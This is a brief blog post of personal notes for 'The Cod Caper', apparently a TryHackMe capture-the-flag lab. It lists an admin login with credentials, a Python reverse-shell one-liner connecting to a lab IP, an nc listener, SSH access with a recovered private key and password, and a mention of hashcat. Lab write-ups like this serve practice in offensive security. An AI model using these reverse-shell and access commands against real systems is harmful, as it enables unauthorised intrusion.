본문 바로가기

hacking sorcerer

pingudad in a while

728x90

```
/administrator.php
# The Cod Caper

id : pingudad
pw : secretpass


python3 -c 'import socket,subprocess,os; s=socket.socket(socket.AF_INET,socket.SOCK_STREAM); s.connect(("10.10.92.172",36605)); os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2); subprocess.call(["/bin/sh","-i"]);'

nc -lvnp 36605

ssh -i id_rsa pingu@10.10.72.214
chmod 600 id_rsa
(hidden password) : pinguapingu

after this, just 
ssh pingu@target_box_ip
and hidden password then it works ! 
hashcat 
```

728x90

'hacking sorcerer' 카테고리의 다른 글